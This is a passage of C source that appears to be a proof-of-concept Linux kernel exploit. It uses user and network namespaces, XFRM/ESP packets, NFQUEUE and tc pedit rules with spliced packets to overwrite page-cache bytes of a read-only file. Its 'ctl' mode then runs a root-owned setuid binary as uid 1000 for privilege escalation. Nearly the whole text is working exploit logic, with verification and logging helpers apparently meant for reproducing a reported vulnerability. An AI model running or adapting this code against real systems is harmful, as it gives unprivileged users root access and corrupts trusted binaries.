/* ------------------------------------------------------------------ */
/* exploit mode                                                        */
/* ------------------------------------------------------------------ */
static int read_window(int fd, long off, unsigned char *out, int len)
{
	if (lseek(fd, off, SEEK_SET) < 0)
		return -1;
	return read(fd, out, len) == len ? 0 : -1;
}

static int exploit_main(void)
{
	int target_fd, udp_rx, udp_tx;
	struct sockaddr_in addr;
	char buf[64];
	struct pktplan plan;
	unsigned char file8[8], desired8[8];
	int pipefd[2], rc, fl = 0, icv_variant = -1, i, try;
	pid_t helper;
	unsigned char before[16], after[16];

	target_fd = open(g_target, O_RDONLY | O_CLOEXEC);
	if (target_fd < 0) {
		SAY("EXPLOIT_ERR open target errno=%d\n", errno);
		return 1;
	}
	if (read_window(target_fd, g_offset, file8, 8) < 0) {
		SAY("EXPLOIT_ERR read target\n");
		return 1;
	}
	memset(desired8, 0, 8);
	memcpy(desired8, g_desired, strlen(g_desired) > 8 ? 8 : strlen(g_desired));
	{
		int w = open(g_target, O_WRONLY | O_CLOEXEC);
		SAY("WRITE_DENIAL_AS_UID1000 open(O_WRONLY) errno=%d denied=%d\n",
		    errno, w < 0);
		if (w >= 0)
			close(w);
	}
	read_window(target_fd, g_offset - 8, before, 16);
	SAY("TARGET_WINDOW_BEFORE ");
	for (i = 0; i < 16; i++)
		SAY("%02x", before[i]);
	SAY("\nTARGET_SLICE_ORIGINAL ");
	for (i = 0; i < 8; i++)
		SAY("%02x", file8[i]);
	SAY("\nDESIRED_SLICE ");
	for (i = 0; i < 8; i++)
		SAY("%02x", desired8[i]);
	SAY("\n");

	/* 1. unprivileged user + network namespace.  The uid/gid that will be
	 * mapped must be read *before* the unshare: afterwards they appear as the
	 * overflow id (65534) inside the still-unmapped namespace. */
	uid_t outer_uid = getuid();
	gid_t outer_gid = getgid();

	if (unshare(CLONE_NEWUSER) < 0) {
		SAY("EXPLOIT_ERR unshare userns errno=%d\n", errno);
		return 1;
	}
	if (write_file("/proc/self/setgroups", "deny") < 0)
		SAY("NOTE setgroups deny failed errno=%d\n", errno);
	sprintf(buf, "0 %d 1", outer_uid);
	if (write_file("/proc/self/uid_map", buf) < 0) {
		SAY("EXPLOIT_ERR uid_map errno=%d\n", errno);
		return 1;
	}
	sprintf(buf, "0 %d 1", outer_gid);
	if (write_file("/proc/self/gid_map", buf) < 0) {
		SAY("EXPLOIT_ERR gid_map errno=%d\n", errno);
		return 1;
	}
	if (unshare(CLONE_NEWNET) < 0) {
		SAY("EXPLOIT_ERR unshare netns errno=%d\n", errno);
		return 1;
	}
	SAY("USERNS unshare=OK userns_uid=%d netns=fresh\n", getuid());

	/* 2. sysctls (resolved against the *current* netns) */
	SAY("SYSCTL route_localnet=%d accept_local=%d\n",
	    write_file("/proc/sys/net/ipv4/conf/lo/route_localnet", "1\n"),
	    write_file("/proc/sys/net/ipv4/conf/lo/accept_local", "1\n"));

	/* 3. interfaces + XFRM state/policy + clsact qdisc */
	setenv("HOME", "/tmp", 1);
	setup_netns();

	/* 4. receiver + sender sockets */
	udp_rx = socket(AF_INET, SOCK_DGRAM, 0);
	udp_tx = socket(AF_INET, SOCK_DGRAM, 0);
	memset(&addr, 0, sizeof(addr));
	addr.sin_family = AF_INET;
	addr.sin_port = htons(UDP_DPORT);
	addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
	if (udp_rx < 0 || udp_tx < 0 ||
	    bind(udp_rx, (struct sockaddr *)&addr, sizeof(addr)) < 0 ||
	    connect(udp_tx, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
		SAY("EXPLOIT_ERR udp sockets errno=%d\n", errno);
		return 1;
	}

	/* 5. calibrate the ESP crypto against the real kernel: inject the packet
	 * directly on lo (linear skb, no page cache involved) and see whether
	 * the kernel authenticates + decrypts + delivers the inner UDP. */
	for (try = 0; try < 2 && icv_variant < 0; try++) {
		unsigned char probe[PKT_LEN];
		int r;

		if (fill_packet(&plan, file8, desired8, FL_FALLBACK, try) < 0) {
			SAY("EXPLOIT_ERR build selftest packet\n");
			return 1;
		}
		assemble_packet(&plan, file8, probe);
		drain_udp(udp_rx);
		inject_frame_lo(probe, PKT_LEN);
		r = recv_inner(udp_rx, 700);
		SAY("ESP_SELFTEST icv_variant=%d inner_udp_received=%s\n",
		    try, r == 0 ? "yes" : "no");
		if (r == 0)
			icv_variant = try;
	}
	if (icv_variant < 0) {
		char st[2048];
		read_file_str("/proc/self/net/xfrm_stat", st, sizeof(st));
		SAY("ESP_SELFTEST_FAILED xfrm_stat=%s\n", st);
		return 1;
	}

	/* 6. NFQUEUE helper + nftables queue rule */
	if (pipe(pipefd) < 0)
		return 1;
	helper = fork();
	if (helper == 0) {
		close(pipefd[0]);
		_exit(nfq_helper(pipefd[1], 0, 8));
	}
	close(pipefd[1]);
	{
		struct pollfd pf = { pipefd[0], POLLIN, 0 };
		char line[256];
		FILE *f;
		int got_ready = 0, tries = 0;

		f = fdopen(pipefd[0], "r");
		if (f)
			setvbuf(f, NULL, _IONBF, 0);
		while (!got_ready && tries++ < 10) {
			if (poll(&pf, 1, 3000) <= 0)
				break;
			if (!f || !fgets(line, sizeof(line), f))
				break;
			SAY("NFQ_HELPER %s", line);
			if (!strncmp(line, "READY", 5))
				got_ready = 1;
			else if (!strncmp(line, "ERR", 3))
				return 1;
		}
		if (!got_ready) {
			SAY("NFQUEUE helper did not become ready\n");
			return 1;
		}
		SAY("NFQUEUE_BIND queue=0 copy_mode=NFQNL_COPY_PACKET copy_range=65535 flags=GSO|UID_GID\n");
		if (install_nft_queue() != 0) {
			SAY("NFT_QUEUE_SETUP failed\n");
			return 1;
		}
		SAY("NFT_QUEUE_SETUP table=zdi chain=out hook=LOCAL_OUT queue=0\n");

		/* 7. probe: learn the linear prefix length of the NFQUEUE message */
		{
			unsigned char zero[VEC_LEN];

			memset(zero, 0, sizeof(zero));
			if (send_spliced(target_fd, g_offset, zero, VEC_LEN, udp_tx) < 0) {
				SAY("PROBE splice failed\n");
				return 1;
			}
			if (poll(&pf, 1, 3000) > 0) {
				while (fgets(line, sizeof(line), f)) {
					int len;
					if (sscanf(line, "MSG len=%d", &len) == 1) {
						fl = len - FRAG_TOTAL;
						SAY("PROBE nfq_msglen=%d linear_prefix=%d frags=%d+%d\n",
						    len, fl, TARGET_SPLICE, VEC_LEN);
						break;
					}
					if (!strncmp(line, "DONE", 4))
						break;
				}
			}
		}
		dump_nft_ruleset("NFT_DUMP");
		if (fl <= 0) {
			SAY("PROBE failed: no NFQUEUE message observed\n");
			return 1;
		}
		if (fl != FL_FALLBACK)
			SAY("NOTE linear_prefix=%d differs from the ZDI report's 96; layout adapted\n", fl);

		/* 8. build the real packet and install the tc pedit + mirred */
		if (fill_packet(&plan, file8, desired8, fl, icv_variant) < 0) {
			SAY("EXPLOIT_ERR fill_packet fl=%d\n", fl);
			return 1;
		}
		SAY("LAYOUT linear=%d ct_off=%d ciphertext=%d icv_at=%d total=%d\n",
		    plan.fl, plan.ct_off, CT_LEN, plan.fl + 8 + VEC_LEN - ICV_LEN, PKT_LEN);
		if (install_tc_pedit(plan.frame, plan.fl) != 0) {
			SAY("TC_NETLINK_SETUP failed\n");
			return 1;
		}
		SAY("TC_NETLINK_SETUP device=nlmon0 hook=egress classifier=matchall pedit_keys=%d redirect=lo status=PASS\n",
		    plan.fl / 4);

		/* 9. trigger */
		if (send_spliced(target_fd, g_offset, plan.vector, VEC_LEN, udp_tx) < 0) {
			SAY("TRIGGER splice failed\n");
			return 1;
		}
		SAY("TRIGGER sent=%d target_spliced=%d vector_spliced=%d\n",
		    TARGET_SPLICE + VEC_LEN, TARGET_SPLICE, VEC_LEN);
		if (poll(&pf, 1, 3000) > 0) {
			while (fgets(line, sizeof(line), f)) {
				int len;
				if (sscanf(line, "MSG len=%d", &len) == 1)
					SAY("TRIGGER nfq_msglen=%d\n", len);
				if (!strncmp(line, "DONE", 4))
					break;
			}
		}
		if (recv_inner(udp_rx, 1500) == 0)
			SAY("INNER_UDP_RECEIVED len=%d (decrypted in place, delivered on lo)\n",
			    INNER_UDP_LEN);
		else
			SAY("INNER_UDP_NOT_RECEIVED\n");

		/* 10. check the page cache of the read-only file */
		usleep(200000);
		read_window(target_fd, g_offset - 8, after, 16);
		SAY("TARGET_WINDOW_AFTER ");
		for (i = 0; i < 16; i++)
			SAY("%02x", after[i]);
		SAY("\n");
		rc = memcmp(after + 8, desired8, 8) == 0 &&
		     memcmp(after, before, 8) == 0;
		SAY("TRIGGER changed=%d target_exact=%d guards_ok=%d\n",
		    memcmp(after + 8, file8, 8) != 0,
		    memcmp(after + 8, desired8, 8) == 0,
		    memcmp(after, before, 8) == 0);
		kill(helper, SIGTERM);
		waitpid(helper, NULL, 0);
		return rc ? 0 : 1;
	}
}


/* ------------------------------------------------------------------ */
/* offline construction check (no privileges, no kernel): builds the packet
 * from a synthetic target slice and verifies every invariant the kernel will
 * rely on.  Used by reproduction_steps.sh before booting anything.          */
/* ------------------------------------------------------------------ */
static int verify_main(void)
{
	struct pktplan plan;
	unsigned char file8[8] = { 0xde, 0xad, 0xbe, 0xef, 0x01, 0x23, 0x45, 0x67 };
	unsigned char desired8[8], pkt[PKT_LEN], pt[CT_LEN], x[16], mac[32], hmac_in[64 + CT_LEN];
	int i, blk, hlen;

	memset(desired8, 0, 8);
	memcpy(desired8, g_desired, strlen(g_desired) > 8 ? 8 : strlen(g_desired));
	if (fill_packet(&plan, file8, desired8, FL_FALLBACK, 0) < 0) {
		SAY("VERIFY build_failed\n");
		return 1;
	}
	assemble_packet(&plan, file8, pkt);
	SAY("VERIFY fl=%d ct_off=%d packet_len=%d\n", plan.fl, plan.ct_off, PKT_LEN);
	if (plan.fl + 8 + VEC_LEN != PKT_LEN)
		return 1;
	/* 1. the packet must contain the file slice at the frag position */
	if (memcmp(pkt + plan.fl, file8, 8) != 0) {
		SAY("VERIFY fail: file slice not at frag position\n");
		return 1;
	}
	/* 2. decrypting the packet's ciphertext with the IV must give a valid
	 *    UDP header, the desired bytes over the file slice and a valid trailer */
	{
		unsigned char ctv[CT_LEN];
		memcpy(ctv, pkt + PRE_CT_LEN, plan.ct_off);
		memcpy(ctv + plan.ct_off, file8, 8);
		memcpy(ctv + plan.ct_off + 8, plan.vector, CT_LEN - plan.ct_off - 8);
		for (blk = 0; blk < CT_LEN; blk += 16) {
			if (aes_ecb_block(ENC_KEY, ctv + blk, x, 0) < 0)
				return 1;
			for (i = 0; i < 16; i++)
				pt[blk + i] = x[i] ^ (blk == 0 ? plan.iv[i] : ctv[blk - 16 + i]);
		}
		if (pt[0] != 0x15 || pt[1] != 0xb3 || pt[2] != 0x15 || pt[3] != 0xb3 ||
		    pt[4] != 0x02 || pt[5] != 0x10) {
			SAY("VERIFY fail: inner UDP header wrong %02x%02x%02x%02x%02x%02x\n",
			    pt[0], pt[1], pt[2], pt[3], pt[4], pt[5]);
			return 1;
		}
		if (memcmp(pt + plan.ct_off, desired8, 8) != 0) {
			SAY("VERIFY fail: decrypted slice != desired\n");
			return 1;
		}
		{
			uint32_t sum = 0x7f00 + 0x0001 + 0x7f00 + 0x0001 + 17 + INNER_UDP_LEN;

			sum = csum_add_bytes(sum, pt, INNER_UDP_LEN);
			if (csum_fold(sum) != 0xffff) {
				SAY("VERIFY fail: inner udp checksum %04x\n", csum_fold(sum));
				return 1;
			}
		}
		if (pt[CT_LEN - 2] != 14 || pt[CT_LEN - 1] != 17) {
			SAY("VERIFY fail: ESP trailer wrong %02x %02x\n",
			    pt[CT_LEN - 2], pt[CT_LEN - 1]);
			return 1;
		}
		/* 3. the ICV in the vector must be HMAC(SPI||seq||IV||ct) truncated */
		memcpy(hmac_in, pkt + ETH_HLEN + IP_HLEN, ESP_HDR_LEN);
		hlen = ESP_HDR_LEN;
		memcpy(hmac_in + hlen, plan.iv, IV_LEN);
		hlen += IV_LEN;
		memcpy(hmac_in + hlen, ctv, CT_LEN);
		hlen += CT_LEN;
		if (hmac_sha256(AUTH_KEY, sizeof(AUTH_KEY), hmac_in, hlen, mac) < 0)
			return 1;
		if (memcmp(mac, plan.vector + VEC_LEN - ICV_LEN, ICV_LEN) != 0) {
			SAY("VERIFY fail: ICV mismatch\n");
			return 1;
		}
		/* 4. IP header checksum must validate */
		{
			uint16_t c = ip_checksum(pkt + ETH_HLEN, IP_HLEN);
			if (c != 0) {
				SAY("VERIFY fail: ip checksum %04x\n", c);
				return 1;
			}
		}
	}
	SAY("VERIFY_OK fl=%d ct_off=%d udp_len=%d desired=%s\n", plan.fl, plan.ct_off,
	    INNER_UDP_LEN, g_desired);
	return 0;
}

/* ------------------------------------------------------------------ */
/* ctl mode (root)                                                     */
/* ------------------------------------------------------------------ */
static void sha256_file(const char *path, char hex[65])
{
	unsigned char buf[65536], md[32];
	unsigned int n;
	EVP_MD_CTX *ctx = EVP_MD_CTX_new();
	int fd = open(path, O_RDONLY | O_CLOEXEC);
	ssize_t r;

	EVP_DigestInit_ex(ctx, EVP_sha256(), NULL);
	if (fd >= 0) {
		while ((r = read(fd, buf, sizeof(buf))) > 0)
			EVP_DigestUpdate(ctx, buf, r);
		close(fd);
	}
	EVP_DigestFinal_ex(ctx, md, &n);
	EVP_MD_CTX_free(ctx);
	for (n = 0; n < 32; n++)
		sprintf(hex + n * 2, "%02x", md[n]);
	hex[64] = 0;
}

static int ctl_main(int argc, char **argv)
{
	struct stat st;
	unsigned char win[64];
	char sha[65];
	int fd, i, rc = 1;
	const char *exec_path = NULL, *exec_arg = NULL, *exec_arg2 = NULL;

	for (i = 2; i + 2 < argc; i++)
		if (!strcmp(argv[i], "--exec")) {
			exec_path = argv[i + 1];
			exec_arg = argv[i + 2];
			if (i + 3 < argc && argv[i + 3][0] != '-')
				exec_arg2 = argv[i + 3];
		}

	fd = open(g_target, O_RDONLY | O_CLOEXEC);
	if (fd < 0 || fstat(fd, &st) < 0) {
		SAY("CTL_ERR cannot open target\n");
		return 2;
	}
	SAY("TARGET_FILE %s uid=%d gid=%d mode=0%o size=%lld\n", g_target,
	    st.st_uid, st.st_gid, st.st_mode & 07777, (long long)st.st_size);
	if (pread(fd, win, 40, g_offset - 16) != 40)
		return 2;
	SAY("TARGET_WINDOW_BEFORE ");
	for (i = 0; i < 40; i++)
		SAY("%02x", win[i]);
	SAY("\n");
	sha256_file(g_target, sha);
	SAY("TARGET_SHA256_BEFORE=%s\n", sha);
	{
		int w = open(g_target, O_WRONLY | O_CLOEXEC);
		SAY("WRITE_DENIAL open(O_WRONLY) errno=%d denied=%d\n", errno, w < 0);
		if (w >= 0)
			close(w);
	}

	/* run the exploit as the unprivileged attacker (uid/gid 1000) */
	{
		pid_t p = fork();
		int st2;

		if (p == 0) {
			char self[256];
			ssize_t n = readlink("/proc/self/exe", self, sizeof(self) - 1);

			if (n <= 0)
				_exit(126);
			self[n] = 0;
			setgroups(0, NULL);
			if (setgid(1000) || setuid(1000))
				_exit(126);
			execl(self, self, "exploit", "--target", g_target, "--offset",
			      g_offset_str, "--desired", g_desired, NULL);
			_exit(127);
		}
		if (p < 0 || waitpid(p, &st2, 0) < 0)
			return 2;
		rc = WIFEXITED(st2) ? WEXITSTATUS(st2) : 1;
		SAY("EXPLOIT_CHILD exit=%d\n", rc);
	}

	/* page cache after the attack */
	if (pread(fd, win, 40, g_offset - 16) != 40)
		return 2;
	SAY("TARGET_WINDOW_AFTER ");
	for (i = 0; i < 40; i++)
		SAY("%02x", win[i]);
	SAY("\n");
	sha256_file(g_target, sha);
	SAY("PAGE_CACHE_SHA256_AFTER=%s\n", sha);

	/* privilege escalation: execute the root-owned setuid binary as uid 1000;
	 * it now runs the attacker patched page-cache bytes */
	if (exec_path) {
		pid_t p = fork();
		int st2;

		if (p == 0) {
			setgroups(0, NULL);
			if (setgid(1000) || setuid(1000))
				_exit(126);
			execl(exec_path, exec_path, exec_arg,
			      exec_arg2 ? exec_arg2 : NULL, NULL);
			_exit(127);
		}
		if (p > 0 && waitpid(p, &st2, 0) > 0)
			SAY("ESCALATION_EXEC %s %s %s exit=%d\n", exec_path, exec_arg,
			    exec_arg2 ? exec_arg2 : "-",
			    WIFEXITED(st2) ? WEXITSTATUS(st2) : -1);
	}

	/* evict the page cache and re-read: the on-disk copy must be untouched,
	 * proving the write landed in the page cache only */
	write_file("/proc/sys/vm/drop_caches", "3\n");
	if (pread(fd, win, 40, g_offset - 16) != 40)
		return 2;
	SAY("TARGET_WINDOW_AFTER_EVICT ");
	for (i = 0; i < 40; i++)
		SAY("%02x", win[i]);
	SAY("\n");
	sha256_file(g_target, sha);
	SAY("DISK_SHA256_AFTER_EVICT=%s\n", sha);
	SAY("CTL_DONE\n");
	return rc;
}

/* ------------------------------------------------------------------ */
/* main                                                                */
/* ------------------------------------------------------------------ */
static int parse_args(int argc, char **argv)
{
	int i;

	for (i = 2; i < argc; i++) {
		if (!strcmp(argv[i], "--target") && i + 1 < argc)
			g_target = argv[++i];
		else if (!strcmp(argv[i], "--offset") && i + 1 < argc) {
			g_offset_str = argv[++i];
			g_offset = strtol(g_offset_str, NULL, 0);
		}
		else if (!strcmp(argv[i], "--desired") && i + 1 < argc)
			g_desired = argv[++i];
		else if (!strcmp(argv[i], "--exec") && i + 2 < argc) {
			i += 2;
			if (i + 1 < argc && argv[i + 1][0] != '-')
				i++;
		}
		else
			return -1;
	}
	return (g_target && g_desired && g_offset > 0) ? 0 : -1;
}

int main(int argc, char **argv)
{
	if (argc < 2) {
		SAY("usage: %s exploit|ctl --target F --offset N --desired DDDDDDDD\n",
		    argv[0]);
		return 2;
	}
	if (parse_args(argc, argv) < 0) {
		SAY("bad arguments\n");
		return 2;
	}
	if (!strcmp(argv[1], "verify"))
		return verify_main();
	if (!strcmp(argv[1], "exploit"))
		return exploit_main();
	if (!strcmp(argv[1], "ctl"))
		return ctl_main(argc, argv);
	SAY("unknown mode %s\n", argv[1]);
	return 2;
}
